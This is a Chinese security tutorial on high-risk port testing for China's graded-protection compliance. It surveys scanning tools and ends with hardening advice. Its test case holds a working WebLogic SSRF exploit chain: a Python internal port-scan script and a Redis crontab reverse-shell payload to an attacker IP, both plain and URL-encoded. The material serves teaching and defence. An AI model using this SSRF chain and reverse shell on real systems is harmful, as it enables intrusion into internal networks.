埠開放測試

語言: CN / TW / HK

0x01 等保測評項

GBT 22239-2019《資訊保安技術 網路安全等級保護基本要求》中,8.1.4.4安全計算環境—入侵防範項中要求包括:a)應遵循最小安裝的原則,僅安裝需要的元件和應用程式;b)應關閉不需要的系統服務、預設共享和高危埠;c)應通過設定終端接入方式或網路地址範圍對通過網路進行管理的管理終端進行限制;d)應提供資料有效性檢驗功能,保證通過人機介面輸入或通過通訊介面輸入的內容符合系統設定要求;e)應能發現可能存在的已知漏洞,並在經過充分測試評估後,及時修補漏洞;f)應能夠檢測到對重要節點進行入侵的行為,並在發生嚴重入侵事件時提供報警。 埠開放測試 對應訪問控制項中要求b),所以安全控制點為 入侵防範b

GBT 28448-2019《資訊保安技術 網路安全等級保護測評要求》中,測評單元(L3-CES1-18) 該測評但願包括以下要求: a)測評指標:應關閉不需要的系統服務、預設共享和高危埠。 b)測評物件:終端和伺服器等裝置中的作業系統(包括宿主機和虛擬機器作業系統)、網路裝置(包括虛擬網路裝置)、安全裝置(包括虛擬安全裝置)、移動終端、移動終端管理系統、移動終端管理客戶端、感知節點裝置、閘道器節點裝置和控制裝置等。c)測評實施包括以下內容:1)應核查是否關閉了非必要的系統服務和預設共享;2)應核查是否不存在非必要的高危埠。d)單元判定:如果1)和2)均為肯定,則符合本測評單元指標要求,否則不符合或部分符合本測評單元指標要求。 埠開放測試 屬於測評單元(L3-CES1-18),故定測評單元為 L3-CES1-18.1

0x02 測試內容

對埠進行探測,檢測應用伺服器是否開啟了非必要的系統服務、預設共享、高危埠,如135、139(嗅探)、445(MS7-010、MS08-067)、593、1025等。

0x03 漏洞原理

埠型別

● 公認埠 從0至1023,他們緊密綁定於一些服務,通常這些埠的通訊明確表示了某種服務的協議。例如80埠預設是HTTP通訊;

● 註冊埠 從1024至49151。他們鬆散的綁定於一些服務。有許多服務綁定於這些埠,這些埠同樣用於許多其他目的。比如,許多系統處理動態埠從1024開始。

● 動態/私有埠 從49152至65535,理論上,不應該為服務分配這些埠。實際上,計算機通常從1024起分配動態埠,但是也有例外,比如,SUN的RPC埠從32768開始。

網路安全裝置建議禁止的埠主要有:TCP/135、139、445、593、1025、和UDP/135、137、138、445埠。一些流行病毒的後門埠,比如TCP/2745、3127、6129等,以及遠端服務RDP埠3389。

高危埠TCP/UDP135TCP/UDP135用於RPC(遠端過程呼叫)服務。攻擊者可以利用 次埠遠端開啟對方的Telnet服務,用於啟動與遠端計算機的RPC連線,通過RPC可以執行遠端計算機的程式碼。

高危埠137、138、139、445這幾個埠都是為共享而開的。

攻擊者通過139、445這個埠進入的連線,能夠獲得NetBIOS/SMB服務許可權,這是IPC$入侵的主要通道。139埠基於SMB協議提供共享服務,445埠基於CIFS協議提供共享服務;

攻擊者通過向137埠傳送連線請求,可能獲得目標主機的相關名稱資訊(計算機名稱、註冊使用者資訊、主機是否作為檔案伺服器或域控伺服器等);

138埠主要作用是提供NetBIOS環境下的計算機名瀏覽功能,攻擊者與主機的138埠建立連線請求就能輕鬆獲得目標主機所處的區域網名稱以及目標主機的計算機名稱。

滲透測試常用埠

工具

Nmap

官網:https://nmap.org/        Nmap是一款網路掃描和主機檢測的掃描工具。Nmap是不侷限於僅僅收集資訊和列舉,同時可以用來作為一個漏洞探測器或安全掃描器。可適用於Windows、Linux、Mac等作業系統。

核心功能:

● 主機發現:檢測目標主機是否線上;

● 埠掃描:檢測埠狀態和提供的服務;

● 版本偵測:檢測埠提供服務的包或軟體的版本資訊;

● 作業系統偵測:檢測主機使用的作業系統;

Masscan

下載地址:https://github.com/robertdavidgraham/masscan Masscan是一種典型的“async / syn-cookie”掃描器,它的掃描結果類似於nmap,在內部結構上,它更像unicornscan和ZMap,都採用了非同步傳輸的方式。

對比unicornscan和ZMap,Masscan的優勢在於:

● 速度快

在使用雙埠卡的情況下,Masscan理論上能夠達到每秒3000萬個資料包(使用需謹慎,請不要太囂張的使用~)。掃描網際網路全部IP地址的一個指定埠,大約也就需要3分鐘左右的時間,而且同時支援TCP和UDP協議的埠掃描;

● 靈活性強

“加密的單調遞增索引”,它允許自定義任意的地址範和埠範圍,大大的增加了masscan的靈活性;

● 相容性強

支援執行在Windows,Macintosh,Linux,OpenBSD各類系統。

Masscan使用自定義TCP / IP堆疊,除簡單埠掃描之外的任何其他操作都將導致與本地TCP / IP堆疊衝突。因此MASSCAN不建立完整的TCP連線,收到SYN/ACK之後,傳送RST結束連線(banners除外)。

MSF

The Metasploit Framework是一個滲透測試開源軟體平臺,一個漏洞利用框架,Kali自帶。它本身附帶數百個已知軟體漏洞,是一款專業級漏洞攻擊工具。Metasploit中不僅能夠使用第三方掃描器Nmap等,在其輔助模組中也包含了幾款內建的埠掃描器。

MSF滲透測試框架介紹:

MSF的portscan模組:

利用MSF中Nmap進行掃描:

Naabu

下載地址:https://github.com/projectdiscovery/naabu Naabu是一款基於Go語言開發的快速埠掃描工具,該工具可以快速可靠的列舉目標主機的有效埠。該工具在實現了簡單易用的情況下,同時保證了執行的可靠性。同時也支援對主機或主機列表進行快速SYN、CONNECT掃描,並列出所有返回響應的埠。

特性:

● 快速簡單的基於SYN/CONNECT探針的掃描;

● 使用Shodan Internetdb API的被動埠列舉;

● 用於DNS埠掃描的自動IP重複資料刪除;

● DNS埠掃描;● 基於Nmap的服務發現功能;

● 多來源輸入支援:STDIN/HOST/IP/CIDR;

● 多格式輸出支援:JSON/TXT/STDOUT;

scanPort

下載地址:https://github.com/xs25cn/scanPort scanPort可以檢測伺服器或指定ip段的埠開放情況。

功能:可以快速掃描指定埠範圍,ip地址範圍。將掃描結果儲存到本地。可使用命令直接掃描,也可在瀏覽器內操作。

Rustscan

下載地址:https://github.com/RustScan/RustScan Rustscan號稱現代埠掃描器器,使用Rust語言編寫,速度極快,能夠在3秒內將一個IP的全埠掃描完成。支援Python、Lua、Shell。雖然只是簡單的SYN和CONNECT掃描,但是它擁有完成的指令碼引擎支援結果匯出到Nmap進行詳細的掃描。也可以在不改變引數的情況下,根據系統的效能自動調整掃描速度,達到最佳掃描狀態。

原理:通過對內部執行緒的管理,為實現非同步掃描的功能,在掃描過程中,每個埠掃描建立一個執行緒,每次可以建立數千個執行緒,而執行緒的多少取決於系統允許開啟的最大檔案數。

scantron

下載地址:https://github.com/opsdisk/scantron Scantron 是一個分散式 nmap 和 masscan 掃描器,由兩個元件組成。第一個是一個控制檯節點,它包含一個用於排程掃描和儲存掃描目標和結果的 Web 前端。第二個元件是從控制檯提取掃描作業並進行實際掃描的引擎。

所有掃描目標檔案和掃描結果都駐留在控制檯上,並通過利用 SSH 隧道的網路檔案共享 (NFS) 共享。引擎使用 REST API 定期回撥控制檯以檢查掃描任務並提供掃描狀態更新。還有一個選項可以使用pyndiff庫生成通過電子郵件傳送給您的 nmap 掃描差異。

Scantron 專門為 Python3.6+ 編碼,並利用 Django 作為 Web 前端,Django REST Framework 作為 API 端點,PostgreSQL 作為資料庫,Redis 任務佇列,Postfix 用於電子郵件掃描警報,並與 Ubuntu 一起提供以 Ansible 為重點的劇本,用於順利部署。Scantron 已經在 Ubuntu 18.04 上進行了測試,可能與其他作業系統相容。

架構圖:

互動介面:

線上埠掃描工具

Tide-潮汐:http://finger.tidesec.com/

線上域名掃描:http://www.jsons.cn/port/

線上埠掃描器:http://duankou.wlphp.com/

線上檢測:http://coolaf.com/tool/port

埠掃描工具:https://www.qtool.net/port

站長工具:https://tool.chinaz.com/port/

做埠掃描, Nmap 可以解決大部分場景的工作,而其他的工具會有一些特殊場景使用。比如,單個目標,使用nmap用不了多久就可以掃描完成,但是如果需要對大批量的目標進行掃描,nmap就顯得力不從心了。這時可以使用masscan等快速掃描工具,確定埠開放,在使用Nmap做進一步的驗證以及指紋識別,從而提升掃描速度。

以上並不是所有的埠掃描工具合集,還有非常多的優秀的掃描工具,比如goby、自定的指令碼,也可以編寫適用於自己的指令碼和工具,整合到自己的自動化系統中。

0x04測試過程

測試案例

使用Nmap掃描開放埠發現,此係統開放了22、7001埠,對應服務分別為ssh與7001開放,7001預設為webLogic埠 。

嘗試訪問

訪問http://Ip:7001/uddiexplorer, 無需登入即可檢視uddiexplorer應用。

在表單中隨意輸入資料,擷取資料包。

觀察資料包發現operator引數值為URL,猜測此處是否存在SSRF漏洞。

將operator引數值中的域名替換為攻擊端伺服器和一個可訪問的埠,系統返回404。

再將operator引數值中的域名替換為攻擊端伺服器和一個不可訪問的埠,會顯示無法連線伺服器“could not connect over HTTP to server”。

從兩次不同的HTTP請求包結果中可知,此係統存在SSRF漏洞。

正常情況是無法訪問內網的,但是可以通過系統返回錯誤資訊的不同去探測內網埠的開放狀態,進而知道內網開啟的服務,加以利用。

需要先獲取內網地址,再探測內網是否開啟其他埠服務。可以使用BurpSuite工具進行自定義迭代,或者使用指令碼跑出來(因為此次漏洞是Docker環境搭建的,所以內網網段是172.*)。

使用Python指令碼實現內網埠探測:

import thread
import time
import re
import requests
 
 
def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)
 
def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://受害者IP:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass
 
 
if __name__ == '__main__':
    ip = "172.18.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

經過探測,發現內網的一個IP存在6379埠,也就是Redis服務正常開啟,可以連通。

通過反彈Shell獲取許可權。傳送三條Redis命令,將彈Shell指令碼寫入/etc/crontab。

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/攻擊端IP/8888 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

aaa

將以上三條命令通過GET請求注入進伺服器。Weblogic的SSRF可以通過傳入%0a%0d來注入換行符,Redis服務是通過換行符來分隔每條命令,所以可以通過該SSRF攻擊內網中的Redis伺服器。

先將URL進行編碼,注意換行符是“\r\n”,也就是“%0d%0a”。編碼後:

test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F攻擊端IP%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0A%0Aconfig%20set%20dir%20%2Fetc%2F%0A%0Aconfig%20set%20dbfilename%20crontab%0A%0Asave%0A%0Aaaa

將URL編碼後的字元換放在SSRF的域名後面進行傳送。把構造好的資料包通過BurpSuite進行傳送。

攻擊端先監聽8888埠,BurpSuite再發送資料包,成功反彈Shell。

0x05 加固建議

高危埠暴露至外網導致系統被入侵的風險增大,為此可做以下防範:

● 排查防火牆,關閉對應高危埠;

● 若因業務需求需要開放高危埠建議通過VPN/IPSec等隧道方式進行訪問;

● 對於必須在公網上直接開放的埠,建議在防火牆加入IP白名單保護,同時配置必要的安全策略;

● 使用外網埠監控系統;

參考:

https://www.csdn.net/tags/MtTaYgxsOTI2OS1ibG9n.html https://netsecurity.51cto.com/article/711663.html

Tide安全團隊正式成立於2019年1月,是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網路安全技術方面開展研發專案60餘項,獲得各類自主智慧財產權30餘項,省市級科技專案立項20餘項,研究成果應用於產品核心技術研究、國家重點科技專案攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。